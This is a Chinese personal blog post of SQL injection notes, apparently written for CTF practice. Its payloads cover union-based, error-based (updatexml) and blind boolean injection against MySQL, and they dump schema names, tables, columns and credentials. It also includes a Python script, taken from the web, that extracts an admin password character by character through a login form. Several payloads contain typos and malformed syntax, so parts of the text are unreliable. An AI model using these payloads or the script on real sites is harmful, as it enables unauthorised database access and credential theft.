<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      SQL注入小结 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        SQL注入小结
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2020-11-19
      </span>

                                                                        <span class="post-pubtime"> 本文共3.4k字 </span>

                                                                        <span class="post-pubtime">
        大约需要26min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/WEB/" title="WEB">
            <b>#</b> WEB
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<hr>
<h1 id="1-联合查询注入："><a href="#1-联合查询注入：" class="headerlink" title="1.联合查询注入："></a>1.联合查询注入：</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27;</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; order by 4#</span><br><span class="line">	union前后的字段数要一致，所以要order by</span><br></pre></td></tr></table></figure>


<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; union 1,2,3,database()#</span><br><span class="line">​		假设当前数据库:bugku</span><br><span class="line">​		user():</span><br><span class="line">​		database():</span><br><span class="line">​		table_schema:库名</span><br><span class="line">​		table_name:表名</span><br><span class="line">​		column_name:列名</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">先介绍几个函数：</span><br><span class="line"></span><br><span class="line">一 concat()函数</span><br><span class="line"></span><br><span class="line">1、功能：将多个字符串连接成一个字符串。</span><br><span class="line"></span><br><span class="line">2、语法：concat(str1, str2,...)　　</span><br><span class="line"></span><br><span class="line">返回结果为连接参数产生的字符串，如果有任何一个参数为null，则返回值为null。</span><br><span class="line"></span><br><span class="line">3、语法：concat(str1, seperator,str2,seperator,...)</span><br><span class="line"></span><br><span class="line">返回结果为连接参数产生的字符串并且有分隔符，如果有任何一个参数为null，则返回值为null。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">二 concat_ws()函数</span><br><span class="line"></span><br><span class="line">1、功能：和concat()一样，将多个字符串连接成一个字符串，但是可以一次性指定分隔符（concat_ws就是concat with separator）</span><br><span class="line"></span><br><span class="line">2、语法：concat_ws(separator, str1, str2, ...)</span><br><span class="line"></span><br><span class="line">说明：第一个参数指定分隔符。需要注意的是分隔符不能为null，如果为null，则返回结果为null。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">三 group_concat()函数</span><br><span class="line"></span><br><span class="line">1、功能：将group by产生的同一个分组中的值连接起来，返回一个字符串结果。</span><br><span class="line"></span><br><span class="line">2、语法：group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc  ] [separator &#x27;分隔符&#x27;] )</span><br><span class="line"></span><br><span class="line">说明：通过使用distinct可以排除重复值；如果希望对结果中的值进行排序，可以使用order by子句；separator是一个字符串值，缺省为一个逗号。</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; union select 1,2,3,group_concat(schema_name) from information_schema.schemata#</span><br><span class="line"></span><br><span class="line">                  列出所有数据库</span><br><span class="line">​		MySQL5.0之后提供information.schema表</span><br><span class="line">​		information_schema.schemata：所有数据库的基本信息，show databases()的结果取自于该表</span><br><span class="line">​		information_schema.tables：所有表</span><br><span class="line">​		information_schema.columns：所有列信息</span><br><span class="line">​		group_concat():连接一个组的所有字符串，并以逗号隔开</span><br><span class="line">​		concat():连接一个或多个字符串</span><br><span class="line">​		concat_ws(p1,p2):第一个参数是分隔符(&#x27;~&#x27;)(&#x27;,&#x27;),第二个参数嗯。。</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; union select 1,2,3,group_concat(table_name) from information_schema.tables where schema_name=&#x27;flagku&#x27;#</span><br><span class="line">http://xxxx.xx/?id=1&#x27; union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=&#x27;flagku&#x27;#</span><br><span class="line">两个都试一下</span><br><span class="line"></span><br><span class="line">​		列出flagku库中所有表名</span><br><span class="line">​		假设有flagtable表</span><br></pre></td></tr></table></figure>


<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=&#x27;flagtable&#x27;#</span><br><span class="line"></span><br><span class="line">​		flagku.flagtable中所有的字段</span><br><span class="line">​		假设有id，pwd</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; union select 1,2,3,group_concat(id,&#x27;-&#x27;,pwd) from flagku.flagtable#</span><br><span class="line">http://xxxx.xx/?id=1&#x27; union select 1,2,3,group_concat(concat_ws(&#x27;~&#x27;,id,pwd)) from flagku.flagtable#</span><br><span class="line">​		爆出id,pwd</span><br></pre></td></tr></table></figure>



<h1 id="2-报错注入"><a href="#2-报错注入" class="headerlink" title="2.报错注入"></a>2.报错注入</h1><p>​	首先提供两个函数：<br>​		extractvalue() 和 updatexml()</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; and updataexml(1,concat(&#x27;~&#x27;,select schema_name from information_schema.schemata limit 0,1),1)</span><br><span class="line">​		获取数据库名</span><br></pre></td></tr></table></figure>


<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; and updataexml(1,concat(&#x27;~&#x27;,select table_name from information_schema.tables where table_schema=&#x27;flagku&#x27; limit 0,1),1)</span><br><span class="line">​		flagku的表名</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; and updataexml(1,concat(&#x27;~&#x27;,select column_name from information_schema.columns where colume_schema=&#x27;flagtable&#x27; limit 0,1),1)</span><br><span class="line">​		flagku.flagtable的字段名</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://xxxx.xx/?id=1&#x27; and updataexml(1,concat(&#x27;~&#x27;,select group_concat(id,&#x27;-&#x27;,pwd) from flagku.flagtable),1)</span><br><span class="line">​		爆id,pwd</span><br></pre></td></tr></table></figure>

<p>可以引入substr( )函数和ascii( )函数进行单个字符的比较以及ASCII码的判断</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">L3m0n	sql注入笔记</span><br><span class="line">联合查询注入：</span><br><span class="line"></span><br><span class="line">	union select 1,2,3,table_name from information_schema.tables where table_schema=&#x27;dvwa&#x27;</span><br><span class="line">		得到dvwa库的表，假设有user和guest</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">	union select 1,2,3,column_name from information_schema.columns where table_name=&#x27;user&#x27;</span><br><span class="line">		得到user表的字段，假设有id，pwd</span><br><span class="line"></span><br><span class="line">	union select 1,2,id,pwd from dwva.user</span><br><span class="line">		爆库</span><br><span class="line"></span><br><span class="line">	经常用到的函数：group_concat(),,,concat()</span><br><span class="line"></span><br><span class="line">	union select 1,2,group_concat(distinct table_schema) from information_schema.tables</span><br><span class="line"></span><br><span class="line">报错注入：</span><br><span class="line">	先提供两个函数：</span><br><span class="line">		extractvalue()和updatexml()</span><br><span class="line"></span><br><span class="line">	admin&#x27; or updatexml(1,concat(&#x27;$&#x27;,database(),1))#</span><br><span class="line">		假设得到数据库名字geek</span><br><span class="line"></span><br><span class="line">	admin&#x27; or updatexml(1,concat(&#x27;$&#x27;,select group_concat(table_name) from information_schema.tables where table_schema=&#x27;geek&#x27;),1)</span><br><span class="line">		得到表名：geekuser</span><br><span class="line"></span><br><span class="line">	admin&#x27; or updatexml(1,concat(&#x27;$&#x27;,select group_concat(column_name) from information_schema.colunms where table_name=&#x27;geekuser&#x27;,1)</span><br><span class="line">		得到字段：id，pwd</span><br><span class="line"></span><br><span class="line">	admin&#x27; or upatexml(1,concat(&#x27;$&#x27;,select concat(id,pwd)from geek.geekuser where id=1)</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h1 id="3-盲注"><a href="#3-盲注" class="headerlink" title="3.盲注"></a>3.盲注</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">length()：返回字符串的长度</span><br><span class="line">mid(str,pos,num)  :截取指定位置指定长度的字符串</span><br><span class="line">ascii():查询ascii码中对应的值</span><br><span class="line">left(string, n)：得到字符串string左边n个字符</span><br><span class="line">right(string, n)：得到字符串string右边n个字符</span><br><span class="line">substr(), substring(), mid()函数实现的功能是一样的, 均为截取字符串, 而且用法相同</span><br><span class="line">	第一个参数是想要截取的字符串，第二个参数是起始位置，第三个是要截取的长度</span><br><span class="line">if(cs1,cs2,cs3):C语言的三目运算符cs1?cs2:cs3相同</span><br><span class="line">count():用来统计表的行数，也就是统计记录行数</span><br></pre></td></tr></table></figure>

<h3 id="猜数据库名："><a href="#猜数据库名：" class="headerlink" title="猜数据库名："></a>猜数据库名：</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1 &#x27;and (length(database()))&gt;3#</span><br><span class="line">		之后一直判断，假设数据库长度是4</span><br><span class="line">1&#x27; and ascii(substr(database(),1,1))=119#    w</span><br><span class="line">1&#x27; and ascii(substr(database(),2,1))=101#    e</span><br><span class="line">1&#x27; and ascii(substr(database(),3,1))=98#    b</span><br><span class="line">1&#x27; and ascii(substr(database(),4,1))=49#    1</span><br><span class="line">猜测表的个数</span><br><span class="line">	1&#x27; and (select count(table_name) from infotmation_schema.tables where table_schema=databases())=2#</span><br></pre></td></tr></table></figure>

<h3 id="猜表名"><a href="#猜表名" class="headerlink" title="猜表名"></a>猜表名</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">第一个表：</span><br><span class="line">		1&#x27; and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4#</span><br><span class="line">			第一个表名长度为4</span><br><span class="line">		1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)1,1)=102#   f</span><br><span class="line">		1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)2,1)=108#   l</span><br><span class="line">		1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)3,1)=97#    a</span><br><span class="line">		1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)4,1)=103#   g</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">第二个表</span><br><span class="line">	1&#x27; and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=5#</span><br><span class="line">		第一个表名长度为4</span><br><span class="line">	1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)1,1)=102#   f</span><br><span class="line">	1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)2,1)=108#   l</span><br><span class="line">	1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)3,1)=97#    a</span><br><span class="line">	1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)4,1)=103#   g</span><br><span class="line">	1&#x27; and ascii(substr(select table_name from information_schema.tables where table_schema=databases() limit 0,1)4,1)=103#   g</span><br></pre></td></tr></table></figure>

<h3 id="猜列名："><a href="#猜列名：" class="headerlink" title="猜列名："></a>猜列名：</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">第一个表列名长度：</span><br><span class="line">	1&#x27; and length(select column_name from information_schema.columns where table_scheme=databases() and table_name=&#x27;flag&#x27; limit 1)=4#</span><br><span class="line">		假设列表名长度为4</span><br><span class="line">	1&#x27; and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name=&#x27;flag&#x27; limit1)1,1)=102#   f</span><br><span class="line">	1&#x27; and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name=&#x27;flag&#x27; limit1)2,1)=108#   a</span><br><span class="line">	1&#x27; and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name=&#x27;flag&#x27; limit1)3,1)=97#    l</span><br><span class="line">	1&#x27; and ascii(substr(select column_name from information_schema.columns where table_schema=databases() and table_name=&#x27;flag&#x27; limit1)4,1)=103#   g</span><br></pre></td></tr></table></figure>

<h3 id="猜数据："><a href="#猜数据：" class="headerlink" title="猜数据："></a>猜数据：</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1&#x27; and (select count(*) from flag)=1#</span><br><span class="line">	有一行数据</span><br><span class="line">1&#x27; and length(select flag from flag limit 1)=26  </span><br><span class="line">	数据长度是26</span><br><span class="line">1&#x27; and ascii(substr(select flag from flag limit 1)1,1)=102#</span><br><span class="line">	第一个字符为f，之后burp跑就oj8k.</span><br></pre></td></tr></table></figure>

<h1 id="下面是两个盲注的脚本-来自网络"><a href="#下面是两个盲注的脚本-来自网络" class="headerlink" title="下面是两个盲注的脚本(来自网络)"></a>下面是两个盲注的脚本(来自网络)</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">login</span>(<span class="params">_username,_password</span>):</span></span><br><span class="line">    <span class="comment">#需要改动处</span></span><br><span class="line">    url = <span class="string">&quot;http://xxxxx.xx/login.php&quot;</span></span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">&quot;username&quot;</span>:_username,</span><br><span class="line">        <span class="string">&quot;password&quot;</span>:_password</span><br><span class="line">    &#125;</span><br><span class="line">    response = requests.post(url,data=data)</span><br><span class="line">    content = response.content</span><br><span class="line">    <span class="comment">#print content</span></span><br><span class="line">    <span class="comment">#这里是判断盲注的单个字符是否正确的条件，一般这个脚本模板在使用之前要修改此处</span></span><br><span class="line">    <span class="comment">#此题是因为注入username字段，当payload后面的语句正确的时候，返回的是密码错误，如果错误返回用户名错误</span></span><br><span class="line">    <span class="comment">#payload=_username = &quot;amin&#x27; or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username=&#x27;admin&#x27;),%d,1)))=%d))#&quot; %(i,j)</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;密码错误&quot;</span> <span class="keyword">in</span> content:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line">    find_name = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="comment"># i 表示了所要查找的名字的最大长度</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x50</span>):</span><br><span class="line">        <span class="comment"># 0x80=128 , 0x20=32,  32-128为可显示的字符的区间</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x80</span> , <span class="number">0x20</span> , -<span class="number">1</span>):</span><br><span class="line">            <span class="comment">#mysql 官方注释  &quot;-- &quot; --后面有空格,或者用 &quot;#&quot;</span></span><br><span class="line">            <span class="comment">#_username = &quot;amin&#x27; or (((asCIi(sUBsTring((sELect/**/gROup_conCAt(sCHEma_name)/**/From/**/inFormation_SChema.scHemata),%d,1)))=%d))#&quot; %(i,j)    #此处是payload,需要改动</span></span><br><span class="line">            <span class="comment">#_username = &quot;amin&#x27; or (((asCIi(sUBsTring((sELect/**/sCHEma_name/**/From/**/inFormation_SChema.scHemata/**/Limit/**/3,1),%d,1)))=%d))#&quot; %(i,j)</span></span><br><span class="line">            <span class="comment">#_username = &quot;amin&#x27; or (((asCIi(sUBsTring((sELect/**/group_concat(Table_name)/**/From/**/inFormation_SChema.tAbles/**/where/**/taBle_schema=&#x27;sql1&#x27;),%d,1)))=%d))#&quot; %(i,j)</span></span><br><span class="line">            <span class="comment">#_username = &quot;amin&#x27; or (((asCIi(sUBsTring((sELect/**/group_concat(columN_name)/**/From/**/inFormation_SChema.columns/**/where/**/taBle_naMe=&#x27;admin&#x27;),%d,1)))=%d))#&quot; %(i,j)</span></span><br><span class="line">            _username = <span class="string">&quot;amin&#x27; or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username=&#x27;admin&#x27;),%d,1)))=%d))#&quot;</span> %(i,j)</span><br><span class="line">            <span class="comment">#_username = &quot;amin&#x27; or (ASCII(sUBsTring((user()),%d,1)=%d )) --&quot; %(i,j)</span></span><br><span class="line">            <span class="comment">#_username = &quot;amin&#x27;or(((asCIi(sUBString((sELEct/**/group_concat(scheMA_Name)/**/FRom/**/inforMATion_scheMa.schemaTa),%d,1)))=%d))-- &quot; % (i, j)</span></span><br><span class="line">            <span class="comment">#可改动处</span></span><br><span class="line">            _password=<span class="string">&quot;amin&quot;</span></span><br><span class="line">            <span class="built_in">print</span> _username</span><br><span class="line">            <span class="keyword">if</span> login(_username,_password):</span><br><span class="line">                find_name+=<span class="built_in">chr</span>(j)</span><br><span class="line">                <span class="built_in">print</span> find_name</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">main()</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span 